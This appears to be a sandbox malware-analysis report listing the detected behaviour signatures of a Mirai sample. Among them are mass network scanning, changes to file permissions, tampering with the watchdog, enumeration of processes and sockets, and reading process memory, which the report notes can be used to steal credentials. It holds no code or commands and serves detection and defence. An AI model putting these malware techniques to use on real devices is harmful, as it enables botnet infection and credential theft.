Signatures

  • Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

  • Mirai family
  • Contacts a large (113560) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 10 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 10 IoCs
  • Modifies Watchdog functionality 1 TTPs 2 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

  • Renames itself 1 IoCs
  • Unexpected DNS network traffic destination 1 IoCs

    Network traffic to other servers than the configured DNS servers was detected on the DNS port.

  • Enumerates active TCP sockets 1 TTPs 1 IoCs

    Gets active TCP sockets from /proc virtual filesystem.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads process memory 1 TTPs 64 IoCs

    Read the memory of a process through the /proc virtual filesystem. This can be used to steal credentials.
